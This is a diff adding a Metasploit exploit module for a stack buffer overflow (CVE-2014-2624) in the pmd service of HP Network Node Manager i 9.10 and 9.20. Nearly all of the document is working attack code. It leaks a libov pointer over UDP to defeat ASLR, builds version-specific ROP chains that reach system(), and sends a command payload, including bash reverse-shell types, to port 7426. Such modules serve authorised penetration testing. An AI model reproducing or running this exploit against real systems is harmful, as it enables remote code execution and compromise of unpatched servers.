|
| 1 | +## |
| 2 | +# This module requires Metasploit: http//metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Exploit::Remote |
| 9 | + Rank = NormalRanking |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::Udp |
| 12 | + |
| 13 | + def initialize(info = {}) |
| 14 | + super(update_info(info, |
| 15 | + 'Name' => 'HP Network Node Manager I PMD Buffer Overflow', |
| 16 | + 'Description' => %q{ |
| 17 | + This module exploits a stack buffer overflow in HP Network Node Manager I (NNMi). The |
| 18 | + vulnerability exists in the pmd service, due to the insecure usage of functions like |
| 19 | + strcpy and strcat while handling stack_option packets with user controlled data. In |
| 20 | + order to bypass ASLR this module uses a proto_tbl packet to leak an libov pointer from |
| 21 | + the stack and finally build the rop chain to avoid NX. |
| 22 | + }, |
| 23 | + 'Author' => |
| 24 | + [ |
| 25 | + 'd(-_-)b', # Vulnerability discovery |
| 26 | + 'juan vazquez' # Metasploit module |
| 27 | + ], |
| 28 | + 'References' => |
| 29 | + [ |
| 30 | + ['CVE', '2014-2624'], |
| 31 | + ['ZDI', '14-305'] |
| 32 | + ], |
| 33 | + 'Payload' => |
| 34 | + { |
| 35 | + 'BadChars' => "\x00", |
| 36 | + 'Space' => 3000, |
| 37 | + 'DisableNops' => true, |
| 38 | + 'Compat' => |
| 39 | + { |
| 40 | + 'PayloadType' => 'cmd cmd_bash', |
| 41 | + 'RequiredCmd' => 'generic python perl openssl bash-tcp gawk' |
| 42 | + } |
| 43 | + }, |
| 44 | + 'Arch' => ARCH_CMD, |
| 45 | + 'Platform' => 'unix', |
| 46 | + 'Targets' => |
| 47 | + [ |
| 48 | + ['Automatic', {}], |
| 49 | + ['HP NNMi 9.10 / CentOS 5', |
| 50 | + { |
| 51 | + # ptr to .rodata with format specifier |
| 52 | + #.rodata:0003BE86 aS_1 db '%s',0 |
| 53 | + 'ov_offset' => 0x3BE86, |
| 54 | + :rop => :rop_hp_nnmi_9_10 |
| 55 | + } |
| 56 | + ], |
| 57 | + ['HP NNMi 9.20 / CentOS 6', |
| 58 | + { |
| 59 | + # ptr to .rodata with format specifier |
| 60 | + #.rodata:0003C2D6 aS_1 db '%s',0 |
| 61 | + 'ov_offset' => 0x3c2d8, |
| 62 | + :rop => :rop_hp_nnmi_9_20 |
| 63 | + } |
| 64 | + ] |
| 65 | + ], |
| 66 | + 'Privileged' => false, # true for HP NNMi 9.10, false for HP NNMi 9.20 |
| 67 | + 'DisclosureDate' => 'Sep 09 2014', |
| 68 | + 'DefaultTarget' => 0 |
| 69 | + )) |
| 70 | + |
| 71 | + register_options([ Opt::RPORT(7426) ], self.class) |
| 72 | + end |
| 73 | + |
| 74 | + def check |
| 75 | + header = [ |
| 76 | + 0x2a5, # pmdmgr_init pkt |
| 77 | + 0x3cc, # signature |
| 78 | + 0xa0c, # signature |
| 79 | + 0xca8 # signature |
| 80 | + ].pack("V") |
| 81 | + |
| 82 | + data = "\x00" * (0xfa4 - header.length) |
| 83 | + |
| 84 | + pkt = header + data |
| 85 | + |
| 86 | + connect_udp |
| 87 | + udp_sock.put(pkt) |
| 88 | + res = udp_sock.timed_read(8, 1) |
| 89 | + if res.blank? |
| 90 | + # To mitigate MacOSX udp sockets behavior |
| 91 | + # see https://dev.metasploit.com/redmine/issues/7480 |
| 92 | + udp_sock.put(pkt) |
| 93 | + res = udp_sock.timed_read(8) |
| 94 | + end |
| 95 | + disconnect_udp |
| 96 | + |
| 97 | + if res.blank? |
| 98 | + return Exploit::CheckCode::Unknown |
| 99 | + elsif res.length == 8 && res.unpack("V").first == 0x2a5 |
| 100 | + return Exploit::CheckCode::Detected |
| 101 | + else |
| 102 | + return Exploit::CheckCode::Unknown |
| 103 | + end |
| 104 | + end |
| 105 | + |
| 106 | + def exploit |
| 107 | + connect_udp |
| 108 | + # info leak with a "proto_tbl" packet |
| 109 | + print_status("Sending a 'proto_tbl' request...") |
| 110 | + udp_sock.put(proto_tbl_pkt) |
| 111 | + |
| 112 | + res = udp_sock.timed_read(13964, 1) |
| 113 | + if res.blank? |
| 114 | + # To mitigate MacOSX udp sockets behavior |
| 115 | + # see https://dev.metasploit.com/redmine/issues/7480 |
| 116 | + udp_sock.put(proto_tbl_pkt) |
| 117 | + res = udp_sock.timed_read(13964) |
| 118 | + end |
| 119 | + |
| 120 | + if res.blank? |
| 121 | + fail_with(Failure::Unknown, "Unable to get a 'proto_tbl' response...") |
| 122 | + end |
| 123 | + |
| 124 | + if target.name == 'Automatic' |
| 125 | + print_status("Fingerprinting target...") |
| 126 | + my_target = auto_target(res) |
| 127 | + fail_with(Failure::NoTarget, "Unable to autodetect target...") if my_target.nil? |
| 128 | + else |
| 129 | + my_target = target |
| 130 | + fail_with(Failure::Unknown, "Unable to leak libov base address...") unless find_ov_base(my_target, res) |
| 131 | + end |
| 132 | + |
| 133 | + print_good("Exploiting #{my_target.name} with libov base address at 0x#{@ov_base.to_s(16)}...") |
| 134 | + |
| 135 | + # exploit with a "stack_option_pkt" packet |
| 136 | + udp_sock.put(stack_option_pkt(my_target, @ov_base)) |
| 137 | + |
| 138 | + disconnect_udp |
| 139 | + end |
| 140 | + |
| 141 | + def rop_hp_nnmi_9_10(ov_base) |
| 142 | + rop = rand_text_alpha(775) |
| 143 | + rop << [0x808d7c1].pack("V") # pop ebx ; pop ebp ; ret |
| 144 | + rop << [ov_base + 0x481A8].pack("V") # ebx: libov .got |
| 145 | + rop << [0x8096540].pack("V") # ptr to .data where user controlled string will be stored: |
| 146 | + # "PMD Stack option specified, but stack not available (user_controlled)" |
| 147 | + rop << [0x808d7c2].pack("V") # pop ebp # ret |
| 148 | + rop << [0x08096540 + 4732].pack("V") # ebp: ptr to our controlled data in .data (+0x1028 to compensate) |
| 149 | + rop << [ov_base + 0x1D692].pack("V") # ptr to 'call _system' sequence: |
| 150 | + #.text:0001D692 lea eax, [ebp+dest] |
| 151 | + #.text:0001D698 push eax ; command |
| 152 | + #.text:0001D699 call _system |
| 153 | + rop |
| 154 | + end |
| 155 | + |
| 156 | + def rop_hp_nnmi_9_20(ov_base) |
| 157 | + rop = rand_text_alpha(775) |
| 158 | + rop << [0x808dd70].pack("V") # pop eax ; pop ebx ; pop ebp ; ret |
| 159 | + rop << [0xf7f61cd0 + ov_base + 0x1dae6].pack("V") # eax: ptr to 'call _system' sequence |
| 160 | + #.text:0001DAE6 lea eax, [ebp+dest] (dest = -0x1028) |
| 161 | + #.text:0001DAEC push eax ; command |
| 162 | + #.text:0001DAED call _system |
| 163 | + rop << [0x08097160].pack("V") # ebx: ptr to .data where user controlled string will be stored: |
| 164 | + # "PMD Stack option specified, but stack not available (user_controlled)" |
| 165 | + rop << rand_text_alpha(4) # ebp: padding |
| 166 | + rop << [0x804fb86].pack("V") # add eax 0x809e330 ; add ecx ecx ; ret (control eax) |
| 167 | + rop << [0x8049ac4].pack("V") # xchg eax, edi ; ret |
| 168 | + rop << [0x808dd70].pack("V") # pop eax ; pop ebx ; pop ebp ; ret |
| 169 | + rop << [0xf7f61cd0 + ov_base + 0x47f1c].pack("V") # eax: libov .got base |
| 170 | + rop << rand_text_alpha(4) # ebx: padding |
| 171 | + rop << [0x8097160 + 4764].pack("V") # ebp: ptr to our controlled data in .data (+0x1028 to compensate) |
| 172 | + rop << [0x804fb86].pack("V") # add eax 0x809e330 ; add ecx ecx ; ret (control eax) |
| 173 | + rop << [0x805a58d].pack("V") # xchg ebx eax ; and eax 0xc4830001 ; and cl cl ; ret (ebx: libov .got) |
| 174 | + rop << [0x8049ac4].pack("V") # xchg eax, edi ; ret ; (eax: call to system sequence from libov) |
| 175 | + rop << [0x80528BC].pack("V") # jmp eax |
| 176 | + |
| 177 | + rop |
| 178 | + end |
| 179 | + |
| 180 | + def stack_option_pkt(t, ov_base) |
| 181 | + hdr = [0x2a9].pack("V") # stack_option packet |
| 182 | + data = "-SA" # stack name (invalid one 'A') |
| 183 | + data << ";" # separator |
| 184 | + data << self.send(t[:rop], ov_base) # malformed stack options |
| 185 | + data << payload.encoded |
| 186 | + data << ";\n" |
| 187 | + data << "\x00" * (0xfa4 - data.length - hdr.length) |
| 188 | + |
| 189 | + hdr + data |
| 190 | + end |
| 191 | + |
| 192 | + def proto_tbl_pkt |
| 193 | + hdr = [0x2aa].pack("V") # proto_tbl packet |
| 194 | + data = "\x00" * (0xfa4 - hdr.length) |
| 195 | + |
| 196 | + hdr + data |
| 197 | + end |
| 198 | + |
| 199 | + def base(address, offset) |
| 200 | + address - offset |
| 201 | + end |
| 202 | + |
| 203 | + def find_ov_base(t, data) |
| 204 | + print_status("Searching #{t.name} pointers...") |
| 205 | + i = 0 |
| 206 | + data.unpack("V*").each do |int| |
| 207 | + if base(int, t['ov_offset']) % 0x1000 == 0 |
| 208 | + print_status("Pointer 0x#{int.to_s(16)} found at offset #{i * 4}") |
| 209 | + @ov_base = base(int, t['ov_offset']) |
| 210 | + return true |
| 211 | + end |
| 212 | + i = i + 1 |
| 213 | + end |
| 214 | + |
| 215 | + false |
| 216 | + end |
| 217 | + |
| 218 | + def auto_target(data) |
| 219 | + targets.each do |t| |
| 220 | + next if t.name == 'Automatic' |
| 221 | + if find_ov_base(t, data) |
| 222 | + return t |
| 223 | + end |
| 224 | + end |
| 225 | + |
| 226 | + nil |
| 227 | + end |
| 228 | + |
| 229 | +end |
0 commit comments